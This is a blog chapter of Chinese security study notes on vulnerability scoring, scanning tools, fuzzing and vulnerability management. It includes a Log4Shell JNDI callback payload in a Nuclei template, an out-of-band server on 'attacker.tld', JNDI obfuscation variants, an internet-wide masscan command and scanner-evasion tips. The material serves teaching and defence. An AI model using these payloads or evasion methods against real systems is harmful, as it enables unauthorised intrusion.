mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6mobile wallpaper 7mobile wallpaper 8mobile wallpaper 9mobile wallpaper 10mobile wallpaper 11mobile wallpaper 12mobile wallpaper 13
4836 字
15 分鐘
漏洞评估与扫描
2026-04-27

第 7 章 漏洞评估与扫描#

7.1 学习目标#

  1. 理解漏洞 (Vulnerability) 在整个安全生命周期中的位置:发现 → 评估 → 优先级 → 修复 → 验证。
  2. 掌握漏洞标识体系:CVE、CWE、CPE、CVSS v3.1/v4、EPSS、CISA KEV。
  3. 会用主流工具(Nmap、Nuclei、Nessus、OpenVAS、Burp、ZAP、Trivy、Lynis、Semgrep)做对应层次的扫描。
  4. 理解 SAST / DAST / IAST / SCA / IAC 的工作原理与适用边界。
  5. 能搭建一条最小可行的”漏洞管理流水线”:扫描 → 去重 → 关联 → 计分 → 票据 → 验证关闭。
  6. 复盘 Log4Shell、Spring4Shell、ProxyLogon 大规模扫描的真实工程实践。

能力矩阵

能力域入门进阶精通
工具nmap + nuclei自写 NSE / Nuclei 模板写 Burp 插件 / Semgrep 规则
评估跟随 CVSS 分数结合 EPSS / KEV 推优先级业务上下文驱动定级
流水线单工具一次性扫CI/CD 集成 + 票据资产 + 漏洞 + 控制项三位一体

7.2 漏洞标识体系#

7.2.1 CVE:编号#

CVE = Common Vulnerabilities and Exposures,由 MITRE 维护,每个公开的具体漏洞分配唯一编号 CVE-YYYY-NNNNN

  • 申请:通过 CNA(CVE Numbering Authority);常见 CNA 包括 MITRE、GitHub、Microsoft、Red Hat、Cisco
  • 不同的 CVE 不一定不同的根因;同一漏洞可能因平台不同被分配多个 CVE

7.2.2 CWE:弱点分类#

CWE = Common Weakness Enumeration,对类型做分类,例如:

CWE名称
CWE-79XSS
CWE-89SQL Injection
CWE-22Path Traversal
CWE-352CSRF
CWE-787Out-of-bounds Write
CWE-416Use After Free
CWE-918SSRF
CWE-94Code Injection
CWE-200Information Exposure
CWE-287Improper Authentication

CWE Top 25 每年更新一次,给出最常见弱点排序。

7.2.3 CPE:受影响产品标识#

CPE = Common Platform Enumeration,用统一字符串描述软件版本,便于映射 CVE 到资产清单:

cpe:2.3:a:apache:log4j:2.14.1:*:*:*:*:*:*:*
│ │ │ │ │
│ │ │ │ └─ version
│ │ │ └─ product
│ │ └─ vendor
│ └─ part: a=application, h=hardware, o=os
└─ schema version

7.2.4 CVSS v3.1:评分#

CVSS = Common Vulnerability Scoring System,0.0–10.0。

Base Score 输入向量#

AV: Attack Vector (Network/Adjacent/Local/Physical)
AC: Attack Complexity (Low/High)
PR: Privileges Required (None/Low/High)
UI: User Interaction (None/Required)
S : Scope (Unchanged/Changed)
C : Confidentiality (None/Low/High)
I : Integrity (None/Low/High)
A : Availability (None/Low/High)

计算流程(简化)#

ISC_Base = 1 - (1-Cᵥ)(1-Iᵥ)(1-Aᵥ)
ISC = Scope==Unchanged ? 6.42·ISC_Base : 7.52·(ISC_Base-0.029) - 3.25·(ISC_Base-0.02)¹⁵
Exp = 8.22·AVᵥ·ACᵥ·PRᵥ·UIᵥ
若 ISC ≤ 0:Base = 0
若 Scope==U:Base = roundup(min(ISC + Exp, 10))
若 Scope==C:Base = roundup(min(1.08·(ISC + Exp), 10))

严重等级#

区间等级
0.1 – 3.9Low
4.0 – 6.9Medium
7.0 – 8.9High
9.0 – 10.0Critical

Temporal / Environmental#

  • Temporal:考虑公开利用代码、补丁可用性
  • Environmental:根据组织自身资产的 CIA 重要性调整

7.2.5 CVSS v4.0 主要变化(2023 发布)#

  • 新增 Threat metrics(取代 Temporal):Exploit Maturity(X / Attacked / PoC / Unreported)
  • 新增 Supplemental metrics:Safety、Automatable、Recovery
  • Base Metrics 拆分漏洞影响后续系统影响两套
  • 评分公式更加非线性,反映”链式利用”

7.2.6 EPSS:被利用概率#

EPSS = Exploit Prediction Scoring System (FIRST.org)。基于历史实测数据 + 漏洞特征训练的逻辑回归模型,输出 未来 30 天内被实际利用的概率 (0–1)。

  • 优势:和实战相关性远高于纯 CVSS
  • 来源特征:CVE 描述、CWE、CPE、Metasploit 模块、社交媒体提及、CISA KEV
高 EPSS(>0.5)+ 中 CVSS(6.x) → 可能比 高 CVSS + 低 EPSS 更紧急

7.2.7 CISA KEV:已知被实际利用的漏洞#

CISA Known Exploited Vulnerabilities Catalog 每周更新;进入 KEV 的漏洞在美联邦机构有强制修复期限。 安全运营:把 KEV 列表作为 SLA 的高优先级输入。

7.2.8 漏洞优先级三件套(推荐打分)#

priority_score =
0.4 · CVSS_Env / 10
+ 0.4 · EPSS
+ 0.2 · KEV_flag
+ 业务权重 (asset_criticality)

7.3 漏洞扫描分层模型#

┌─────────────────────────────────────────────────────────┐
│ 业务层 / SaaS / 第三方 API │
├─────────────────────────────────────────────────────────┤
│ 应用层:Web / Mobile / 桌面(DAST、Burp、ZAP) │
├─────────────────────────────────────────────────────────┤
│ 代码层:源码(SAST:Semgrep、CodeQL、SonarQube) │
│ 依赖(SCA:Trivy、Dependabot、OSV-Scanner) │
│ IaC(Checkov、tfsec、kics) │
├─────────────────────────────────────────────────────────┤
│ 容器 / 镜像:Trivy、Grype、Anchore │
├─────────────────────────────────────────────────────────┤
│ 主机层:Lynis、CIS Benchmark、Tenable Nessus、OpenSCAP │
├─────────────────────────────────────────────────────────┤
│ 网络层:Nmap、Masscan、Nessus 网络扫描、Nuclei │
└─────────────────────────────────────────────────────────┘

每一层有专属工具与盲区,必须组合使用,单一工具不可能”全面”。


7.4 网络扫描#

7.4.1 Nmap 内部原理#

TCP SYN 扫描(半开放)#

Attacker ── SYN ─────► Target (端口开)
◄─ SYN/ACK ──
── RST ──────► (不完成三次握手 → 不进 logs)
Attacker ── SYN ─────► Target (端口关)
◄─ RST/ACK ──

Connect 扫描#

完整 connect(),留 log;无需 root;适合不能 raw socket 的场景。

UDP 扫描#

不可靠(无握手),常用 ICMP Port Unreachable 反推:

  • 收到 ICMP unreachable → closed
  • 无响应 → open|filtered
  • 收到 UDP 响应 → open

NSE (Nmap Scripting Engine)#

NSE 用 Lua 脚本扩展,按 phase 触发:

Phase触发时机
prerule主扫描前
hostrule主机存活后
portrule端口判定后
postrule主扫描后
nmap -sV --script=vuln target # 漏洞类
nmap --script=ssl-enum-ciphers -p443 t # TLS 评估
nmap --script=smb-vuln* -p445 t # SMB 漏洞
ls /usr/share/nmap/scripts/ | wc -l # 600+ 脚本

OS 指纹#

Nmap 维护 nmap-os-db 指纹库;通过比对:

  • TCP ISN 增长方式
  • TCP 选项顺序与值
  • ICMP 响应特征
  • 带 SYN 的 TCP option 包应答 hash

7.4.2 Masscan:极速扫描#

无状态发包(按速率而非连接),单台可达 millions pps:

masscan 0.0.0.0/0 -p443 --rate=100000 --excludefile rfc1918.txt -oG out.txt

工作流:先 masscan 找开放端口 → nmap 精扫 banner / 服务。

7.4.3 Nessus / OpenVAS#

商业 / 开源主机网络扫描器。

  • 插件式(NASL 语言)
  • 凭证扫描(带 SSH/SMB 凭证 → 直接读软件版本,更准)
  • 合规扫描(CIS / DISA STIG)
  • 输出 XML / CSV / HTML,可对接 SIEM

NASL 示例#

my_check.nasl
include('http_func.inc');
http_check_remote_code({port: get_http_port(default:80),
match: "Apache/2.4.49"});
if (description) {
script_id(900001);
script_name(english:"Apache 2.4.49 path traversal");
script_summary(english:"Detects vulnerable version");
script_category(ACT_GATHER_INFO);
script_family(english:"Web Servers");
exit(0);
}

7.4.4 Nuclei:模板化扫描#

ProjectDiscovery 出品,YAML 模板,覆盖 7000+ CVE / misconfig。

# nuclei-templates/cves/2021/CVE-2021-44228.yaml(简化)
id: CVE-2021-44228
info:
name: Apache Log4j RCE
severity: critical
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-502
http:
- method: GET
path:
- "{{BaseURL}}"
headers:
User-Agent: '${jndi:ldap://{{interactsh-url}}/x}'
Referer: '${jndi:ldap://{{interactsh-url}}/x}'
X-Api-Version: '${jndi:ldap://{{interactsh-url}}/x}'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words: ['dns', 'ldap']

运行#

nuclei -u https://target.com -severity critical,high
nuclei -l live.txt -t cves/ -o nuclei.json -j
nuclei -t custom-template.yaml -l targets.txt -rate-limit 100

Interactsh#

ProjectDiscovery 自托管 OOB 服务(DNS/HTTP/LDAP),用于盲打回连验证。可自建:

interactsh-server -domain attacker.tld
interactsh-client -url https://attacker.tld

7.4.5 Cobalt Strike / Metasploit 集成#

  • nmap -oX nmap.xml targetdb_import nmap.xml (msfconsole) → vulns -p 自动关联模块
  • 蓝队建议屏蔽常见扫描特征(SYN 速率、特定 fingerprint)

7.5 应用层扫描(Web DAST)#

7.5.1 工作流#

URL / API spec
被动爬虫(解析 HTML / JS / sitemap)
DOM 解析 + 表单提取 + GraphQL/OpenAPI 导入
主动 payload 注入
│ ├── SQLi / NoSQLi
│ ├── XSS(多上下文)
│ ├── SSRF / SSTI / XXE
│ ├── Open Redirect
│ ├── Path Traversal
│ ├── Auth bypass / IDOR
│ └── 业务逻辑(弱 fuzz)
响应差分(基线 + 突变)
告警 + 人工 triage

7.5.2 Burp Suite#

关键模块#

  • Proxy:抓包改包
  • Repeater:手工重放
  • Intruder:参数爆破(4 种攻击模式)
  • Scanner (Pro):被动 + 主动扫描
  • Decoder / Comparer / Sequencer
  • Collaborator:自托管 OOB
  • Extender:JS 引擎或 Java 插件

高频技巧#

  • Match and Replace:批量改 cookie / header
  • Session handling rule:登录态自动维护
  • Macro:抓”获取 CSRF token”流程,自动重放
  • Hackvertor:自定义编码 / 解码 / 加密
  • Logger++:精细日志过滤

7.5.3 OWASP ZAP#

开源替代,主要模块同 Burp。亮点:

  • 自动化 API(Daemon 模式 + REST)→ CI 友好
  • ZAP Heads-Up Display 在浏览器侧栏
  • DAST CLI:zap-cli quick-scan -s xss,sqli https://t/

7.5.4 现代 API 扫描#

挑战:传统爬虫无法遍历 SPA / GraphQL / gRPC。

策略:

  • 拿到 OpenAPI / Postman Collection → 强制 schema 化扫描
  • GraphQL:开启 introspection 时直接拉 schema → graphql-cop
  • gRPC:用 reflection 或 .proto → ghz / grpc_cli

7.5.5 业务逻辑漏洞 — DAST 的盲区#

逻辑漏洞往往无固定 payload,需要:

  • 状态机建模(Burp 的 logic-checker / IAST 工具)
  • “竞态” 单包多请求(PortSwigger 的 Single Packet Attack)
  • 人工对每个端点”想象 5 种意外用法”

7.6 SAST / SCA / IAST / IaC 扫描#

7.6.1 SAST:源码静态分析#

主流工具#

工具语言引擎
Semgrep30+模式匹配 + dataflow,规则简单可扩展
CodeQL7+把代码转为关系数据库,用 QL 写查询
SonarQube30+AST + rule,开源 + 商业
Checkmarx商业AST + dataflow
Coverity商业控制流 / 符号执行
Pylint / BanditPython轻量
BrakemanRuby on Rails偏符号执行
gosecGo简单规则匹配

Semgrep 规则示例#

rules:
- id: java-runtime-exec-tainted
languages: [java]
severity: ERROR
message: Runtime.exec on tainted input
mode: taint
pattern-sources:
- patterns:
- pattern-either:
- pattern: $REQ.getParameter(...)
- pattern: $REQ.getHeader(...)
pattern-sinks:
- pattern: Runtime.getRuntime().exec($X)
pattern-sanitizers:
- pattern: Pattern.compile(...).matcher($X).matches()

CodeQL 工作流#

codeql database create db --language=javascript --source-root=.
codeql database analyze db codeql/javascript-queries \
--format=sarifv2.1.0 --output=results.sarif

7.6.2 SCA:第三方依赖#

工具#

工具范围
Trivy镜像 + 文件系统 + Go/Java/Node 依赖
Grype类似 Trivy,Anchore 出品
OSV-ScannerGoogle OSV.dev 后端
DependabotGitHub 集成自动 PR
Renovate类似 Dependabot,可自托管
Snyk商业
trivy image alpine:3.10
trivy fs --scanners vuln,secret,config .
osv-scanner scan -r .

SBOM(Software Bill of Materials)#

格式:

  • CycloneDX(OWASP)
  • SPDX(Linux Foundation)
syft packages dir:. -o cyclonedx-json > sbom.json
grype sbom:./sbom.json

法律 / 合规(美国 EO 14028、欧盟 CRA)逐渐强制要求软件交付提供 SBOM。

7.6.3 IAST:交互式(运行时插桩)#

  • 在应用进程内插桩(Java agent / .NET profiler)
  • 同时观察源(HTTP 请求) + 汇(SQL/exec)+ 流转
  • 适合 CI 自动化测试阶段
  • 工具:Contrast Security、Seeker、洋葱

7.6.4 IaC 扫描(Infrastructure-as-Code)#

工具范围
CheckovTerraform / CFN / K8s YAML / Helm
tfsecTerraform
kics多种 IaC
DatreeK8s 偏好策略
kube-benchK8s CIS Benchmark
kube-hunterK8s 渗透扫描
checkov -d . # 扫描全目录
checkov -f main.tf --output sarif
kube-bench run --targets master,node

7.7 主机 / 容器扫描#

7.7.1 Lynis#

lynis audit system # 单机审计
lynis audit system --pentest # 偏渗透视角
lynis audit dockerfile Dockerfile # 镜像清单

报告 /var/log/lynis.log,给出加固建议(含分数 hardening_index)。

7.7.2 OpenSCAP / SCAP Workbench#

按 SCAP 标准(XCCDF、OVAL)进行合规扫描,常见配置:

  • DISA STIG(美国国防部基线)
  • CIS Benchmark
  • PCI-DSS / HIPAA / 等保
oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_pci-dss \
--results-arf arf.xml --report report.html /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml

7.7.3 容器镜像#

trivy image --severity HIGH,CRITICAL nginx:1.21
docker scout cves nginx:1.21
grype nginx:1.21

7.7.4 容器运行时扫描#

  • Falco:基于 eBPF / kernel module 检测可疑行为(容器逃逸尝试、shell 在容器里启动)
  • Tracee:Aqua 出品,eBPF 专注安全事件
  • Sysdig Secure:商业整套

7.8 模糊测试(Fuzzing)#

7.8.1 类别#

类别例子
黑盒radamsa、boofuzz
覆盖率引导AFL++、libFuzzer、Honggfuzz
结构感知LibFuzzer + protobuf-mutator、AFL++ + grammar
符号执行KLEE、angr、SymCC
网络协议boofuzz、AFLNet

7.8.2 AFL++ 工作流#

源码 编译时插桩 (afl-clang-fast)
afl-fuzz -i seeds/ -o out/ -- ./target @@
内部循环:
1. 选种子
2. 突变(位翻转、算术、字典、splicing)
3. 执行 + 收集分支覆盖(共享内存 bitmap)
4. 若新覆盖 → 入队列;若崩溃 → 入 crashes
classify crashes (afl-tmin / afl-cmin)
人工审计 / 自动化 triage

7.8.3 libFuzzer harness#

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size < 4) return 0;
parse_input(data, size);
return 0;
}
clang -fsanitize=fuzzer,address,undefined harness.c target.c -o fuzzer
./fuzzer corpus/

7.8.4 OSS-Fuzz#

Google 维护的开源项目托管 fuzzing 平台,已发现 30,000+ bug。 对开源项目维护者:写 harness → 上传 → 7×24 自动跑。


7.9 漏洞管理流水线#

7.9.1 推荐架构#

┌─────────────┐ ┌──────────────┐ ┌──────────────┐
│ 扫描器集群 │ →│ 数据归一化 │ →│ 资产库 (CMDB) │
└─────────────┘ └──────────────┘ └──────────────┘
┌──────────────┐
│ 漏洞库 + 去重 │
└──────┬───────┘
EPSS / KEV / 业务权重
┌──────────────┐
│ 优先级 / SLA │
└──────┬───────┘
票据系统 (Jira / Linear)
修复验证(重新扫描)
度量看板(Grafana)

7.9.2 关键度量#

  • 平均检测时间 MTTD
  • 平均修复时间 MTTR(按等级分)
  • SLA 命中率:Critical < 7d、High < 30d、Medium < 90d
  • 漏洞密度(每千行代码 / 每个资产)
  • KEV 命中数与生效时间

7.9.3 工程化建议#

  • 资产是基础,没有干净的资产库一切都白搭
  • 去重要按 (asset, port, software, CVE) 聚合
  • “误报”打标签后下次自动忽略
  • “修复”必须配合再次扫描验证,否则永远关不掉
  • 把扫描结果同步进威胁情报平台(MISP)做关联

7.10 真实案例:大规模 CVE 应急扫描#

7.10.1 Log4Shell (CVE-2021-44228)#

扫描挑战#

  • 漏洞触发字符串可能出现在任意 HTTP 字段
  • 服务端不会立即反馈,必须 OOB 验证
  • 大量 Java 应用是间接依赖(嵌套 fat jar)

扫描思路#

  1. 网络层:Nuclei 模板 + Interactsh,对所有 URL 注入 ${jndi:...} 到 Header / Body / Cookie
  2. 主机层:在每台 JVM 进程上扫 log4j-core-*.jar,比较版本
  3. 依赖层:用 SBOM / Trivy 扫所有镜像与制品
  4. 被动:DNS 流量监控 ${jndi: 字串通过 DNS 反向查询

缓解措施分层#

  • 临时缓解:-Dlog4j2.formatMsgNoLookups=true
  • 文件级:删 JndiLookup.class
  • 升级:log4j-core 2.17.1+
  • 网络级:WAF 拦截 ${jndi:${${::-j}ndi: 等变形

7.10.2 Spring4Shell (CVE-2022-22965)#

  • 仅在 JDK 9+ 且 Tomcat WAR 部署中可触发
  • 扫描必须组合多个条件:JDK 版本 + Spring Beans 版本 + Tomcat
  • Nuclei 模板:尝试改 Tomcat AccessLog 写 JSP,再访问
  • 误报多:需配合资产清单做交叉验证

7.10.3 ProxyLogon (CVE-2021-26855 + 26857 + 26858 + 27065)#

链式利用 Exchange,扫描方式:

  • HTTP /owa/auth/x.js Cookie 异常
  • /aspnet_client/system_web/*.aspx webshell 残留
  • 微软发布过 IOC + 检测脚本(Test-ProxyLogon.ps1)

7.10.4 CitrixBleed (CVE-2023-4966)#

NetScaler / Gateway 内存泄露 → 偷会话 token 绕过 MFA。 扫描思路:发送特定 HTTP 请求看是否长响应;蓝队检测:异常 cookie session 出现新地理位置。


7.11 自研脚本:vuln-triage.py#

#!/usr/bin/env python3
"""根据 CVSS + EPSS + KEV + 业务权重打分,输出修复优先级。"""
import csv, json, sys, requests
from pathlib import Path
KEV_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
EPSS_URL = "https://api.first.org/data/v1/epss?cve={}"
def fetch_kev():
r = requests.get(KEV_URL, timeout=30)
return {x['cveID']: x for x in r.json().get('vulnerabilities', [])}
def fetch_epss(cve):
try:
r = requests.get(EPSS_URL.format(cve), timeout=10).json()
if r.get('data'):
return float(r['data'][0]['epss'])
except Exception:
pass
return 0.0
def score(cvss, epss, kev_flag, asset_crit):
return round(0.4*cvss/10 + 0.4*epss + 0.2*kev_flag + 0.2*asset_crit, 4)
def main():
in_csv = Path(sys.argv[1]) # CVE,asset_id,cvss,asset_crit
kev = fetch_kev()
out = []
with in_csv.open() as f:
for row in csv.DictReader(f):
cve = row['CVE']
cvss = float(row['cvss'])
crit = float(row.get('asset_crit', 0.5))
epss = fetch_epss(cve)
kev_flag = 1 if cve in kev else 0
s = score(cvss, epss, kev_flag, crit)
out.append({**row, 'epss': epss, 'kev': kev_flag, 'score': s})
out.sort(key=lambda x: x['score'], reverse=True)
with open('triage.json', 'w') as f:
json.dump(out, f, indent=2)
for o in out[:20]:
print(f"{o['CVE']:<18} {o['asset_id']:<20} score={o['score']}")
if __name__ == "__main__":
main()

输入 vulns.csv

CVE,asset_id,cvss,asset_crit
CVE-2021-44228,prod-app-01,10.0,1.0
CVE-2023-4966,gateway-02,9.4,0.9
CVE-2024-3094,build-01,10.0,0.9

输出按 score 倒序,配合 SLA 推动修复。


7.12 防御视角:扫描噪音治理#

7.12.1 抗扫描手段#

  • WAF / Rate limiting:识别 nuclei UA、JA3
  • Honeypot:cowrie、t-pot
  • IDS:Suricata + ET Open Rules
  • DNS 异常监控(如 OOB 回连域名)
  • 反 Recon:fingerprint 干扰、虚假错误页

7.12.2 自家攻击面管理 ASM#

  • 持续资产发现(合规、影子 IT)
  • 持续配置漂移监测
  • 持续凭证泄露监控
  • 持续 EDR / Patch 状态对账

7.12.3 内部 Bug Bounty / 内部 SRC#

  • 鼓励员工与外部研究员负责任披露
  • HackerOne / 火线 / 漏洞银行(中国) 平台搭桥
  • 内部明确 RoE 与奖励机制

7.13 工程化最佳实践清单#

7.13.1 CI / CD 集成#

  • PR 阶段:Semgrep / Trivy / Checkov,结果作为 PR 注释 + 阻断红线
  • Build 阶段:SBOM 生成 + 签名 (Sigstore / cosign)
  • Deploy 阶段:镜像准入 (OPA / Kyverno) 拒绝高危镜像
  • Runtime:Falco / Tracee 检测异常行为

7.13.2 选型决策矩阵#

场景推荐
Web SPA / API 黑盒Burp + ZAP + Nuclei
内网网络资产摸底Nmap + Nessus + Nuclei
第三方依赖Trivy / Grype + OSV-Scanner + Renovate
源码安全Semgrep(快速)+ CodeQL(深入)
容器Trivy + Falco
K8sCheckov + kube-bench + kube-hunter
云资产Prowler + ScoutSuite + CloudSploit

7.13.3 Anti-pattern#

  • 把 Nessus 报告原样发给开发:噪音 / 误报让开发心累
  • 全靠 SAST 不做 DAST:业务逻辑 / 配置类漏洞漏掉
  • 修一个 CVE 不验证:影子复活
  • KPI 只看”修了多少”不看”修了什么”:HIGH / Critical 命中才是关键

7.14 练习题#

  1. 给定某资产 CVSS = 7.5,EPSS = 0.8,KEV = True,业务权重 0.6。按本章公式打分?
  2. 写一个 Nuclei 模板:检测 GitLab /explore/projects/topics(公开实例)的 sensitive commit_email 字段泄露。
  3. 编写 Semgrep 规则:检测 Python requests.get(url, verify=False) 的滥用。
  4. 设计一份”CI 阻断阈值”策略:什么样的扫描结果应该 fail PR?
  5. 当 SAST 与 DAST 同一漏洞冲突告警时,如何统一去重?
  6. 用 Trivy 扫一个 Docker 镜像,分析它的 base image 中默认安装包占了多少 vulnerabilities。
  7. 设计一个 SBOM 流水线:从代码 → 制品 → 部署的全链路。
  8. 解释 EPSS 与 CVSS 的差异,并举例说明哪种情形下 EPSS 更重要。
  9. 写一个脚本:读 CISA KEV JSON → 与本地资产清单交叉,输出”必须 7 天内修”列表。
  10. 漏洞扫描器为什么不能完全代替人工渗透测试?至少给出 3 条原因。

参考答案要点#

  1. 0.4·0.75 + 0.4·0.8 + 0.2·1 + 0.2·0.6 = 0.3 + 0.32 + 0.2 + 0.12 = 0.94 → 极高优先级
  2. pattern: requests.get(..., verify=False, ...) + 严重级
  3. CVSS 反映理论严重度;EPSS 反映被实际利用概率;广义 0day 高 CVSS 但低 EPSS。

7.15 面试高频考点(附参考答案)#

Q1:CVSS v3.1 的 Scope 改变意味着什么?

  • 表示一个组件的漏洞影响超出其安全权限边界(如沙盒逃逸、容器逃逸、Hypervisor 逃逸)。

Q2:为什么 EPSS 对运营更友好?

  • CVSS 是静态严重度;EPSS 反映被利用的现实概率,30 天滚动训练,能”动态”提高效率。

Q3:SAST 和 DAST 的核心区别?

  • SAST 看代码(无运行环境,覆盖路径全);DAST 看运行行为(覆盖配置、运行时)。组合互补。

Q4:为什么 SCA 这么重要?

  • 现代应用 70%+ 是第三方依赖;Log4Shell、Spring4Shell、xz-utils 都属于 SCA 范畴;零信任供应链趋势。

Q5:Nessus 凭证扫描比无凭证扫描准在哪里?

  • 凭证可登录目标,直接读 /var/log 与软件版本信息;无凭证只能凭 banner 推断。

Q6:Nuclei 与 Burp 的定位差异?

  • Nuclei 大规模批量、模板驱动、广度优先;Burp 单点深入、人机协作、深度优先。

Q7:你怎么处理”扫描漏洞 1000 个,但只能修 50 个”?

  • 用 EPSS / KEV / 业务权重打分,关注 KEV + 高 EPSS + 业务核心;其余按 SLA 排期;不能修的标接受风险并签字。

Q8:SBOM 里最关键的字段?

  • nameversionhash(如 PURL)、licensesupplier、依赖关系;可与 OSV / NVD 关联识别风险。

Q9:Fuzzing 和扫描的区别?

  • 扫描以”已知”漏洞特征匹配;Fuzzing 找未知漏洞(随机/突变输入触发崩溃)。

Q10:怎么衡量漏洞管理团队 KPI?

  • MTTR / SLA 命中率 / KEV 修复及时率 / 重复出现率 / 资产覆盖率,而不是”修了多少”。

7.16 延伸阅读#

教材#

  • 《The Vulnerability Researcher’s Handbook》Benjamin Strout
  • 《The Web Application Hacker’s Handbook》(Burp 部分)
  • 《Practical Vulnerability Management》Andrew Magnusson
  • NIST SP 800-115《Technical Guide to Information Security Testing and Assessment》
  • NIST SP 800-30《Risk Assessments》

参考资料#

报告 / 论文#

  • Verizon DBIR 年度报告
  • M-Trends 年度报告
  • SANS Top 25 Software Errors
  • OWASP State of DevSecOps

7.17 补充:威胁情报与漏洞情报联动#

7.17.1 威胁情报源#

  • OSINT:CISA、JPCERT、CN-CERT、NVD
  • 商业:Recorded Future、Mandiant、CrowdStrike、奇安信、绿盟
  • 社区:Exploit-DB、PacketStorm、GitHub awesome-cve-poc
  • 暗网:Flashpoint、IntSights(合规渠道)

7.17.2 MISP 集成#

MISP(Malware Information Sharing Platform)开源威胁情报平台。 工作流:

  1. 接入多个 feed(CIRCL、AbuseCH、自家 honeypot)
  2. 自动归并 IOC(IP / Hash / Domain / CVE)
  3. 与 SIEM、防火墙、EDR 双向同步
  4. 支持 STIX 2.1 / TAXII

7.17.3 漏洞情报触发应急#

高级 IOC 命中 + KEV 收录 + 资产覆盖
30 分钟内通报 SOC 经理
临时缓解(WAF / Egress / 关停)
24 小时内出补丁计划
72 小时内全量修复或风险接受

7.18 补充:扫描器对抗与隐蔽#

7.18.1 频控与速率#

  • WAF / IPS 对单 IP 高频请求触发拦截
  • Burp Throttle / Nuclei -rate-limit / Masscan 可调
  • 分布式扫描:通过云函数 / 多 VPS / Tor 出口

7.18.2 UA 与指纹伪装#

  • Nuclei 可定制 Header:避免默认 Nuclei/v3 UA
  • httpx -random-agent
  • 客户端 hello 重写(utls / mitm)

7.18.3 检测端反制#

  • 异常 UA + JA3 关联告警
  • 蜜罐路径触发告警(如 /admin/.git/config
  • 蜜罐 webshell(cowrie 类)
  • 出站 RST 注入(防扫描器拿到 banner)

7.18.4 紫队演练验证扫描覆盖#

Atomic Red Team T1190 (Exploit Public-Facing Application)
├── 模拟扫描行为
SOC 是否产生告警?告警时间?
WAF / IPS 是否拦截?
扫描结果 vs 真实漏洞清单 → 差距分析

7.19 补充:合规与审计视角#

7.19.1 PCI-DSS 4.0 关键要求#

  • Req 11.3:内 / 外部漏扫每季度,重大变更后再扫
  • Req 11.3.2:外扫由 ASV(Approved Scanning Vendor)执行
  • Req 6.3:Bug Tracking 与修复 SLA

7.19.2 ISO 27001 / 等保 2.0#

  • 等保 2.0 三级以上要求:定期漏扫 + 风险评估 + 整改证据
  • 审计材料:扫描报告、复测报告、修复工单、闭环证据

7.19.3 美国 EO 14028 / SBOM#

  • 联邦政府供应商必须提供 SBOM
  • 漏洞披露要求 (VDP) 强制
  • 软件供应链(SLSA Level 2+)

7.19.4 GDPR 与漏洞披露#

  • 数据泄露 72 小时内通报 DPA(数据保护机构)
  • 漏洞导致数据泄露需评估”可能伤害”
  • 用户通知义务

7.20 小结#

漏洞评估不是”跑个扫描器”那么简单:

  • 多层次:网络、主机、镜像、代码、依赖、IaC、云配置
  • 多维度评分:CVSS(理论)+ EPSS(概率)+ KEV(事实)+ 业务(环境)
  • 流水线化:扫描 → 去重 → 评分 → 票据 → 修复 → 验证
  • 工程化思维:度量 / 自动化 / 可重复 / 可审计

下一章(Ch08)将进入”渗透测试方法论”,把扫描发现的弱点串成完整攻击链。

与其他章节的接口#

  • ← Ch06:OSINT 给资产范围;扫描的输入
  • → Ch08:扫描发现是渗透链路的”入口候选”
  • → Ch11:扫描结果是 SOC 检测有效性的对照基准
  • → Ch12:云资产 / IaC 扫描在那里继续展开

补充检查表#

  • 我能给出一个项目从 PR 到 Deploy 的完整 DevSecOps 工具链
  • 我能解释 Nuclei、Nessus、Burp 的工作原理与各自盲区
  • 我能写自定义 Semgrep / Nuclei 模板用于私有代码 / 资产
  • 我能用 EPSS + KEV + 业务权重打分,输出修复优先级
  • 我能搭建一条最小可行的 SBOM → 风险监控 流水线

如全部勾上,进入 Ch08;否则回到对应小节再做实践。

分享

如果這篇文章對你有幫助,歡迎分享給更多人!

漏洞评估与扫描
https://lemusakuya.com/posts/study-notes/network-security/07_漏洞评估与扫描/
作者
レム・咲く夜
發布於
2026-04-27
許可協議
CC BY-NC-SA 4.0

部分資訊可能已經過時

目錄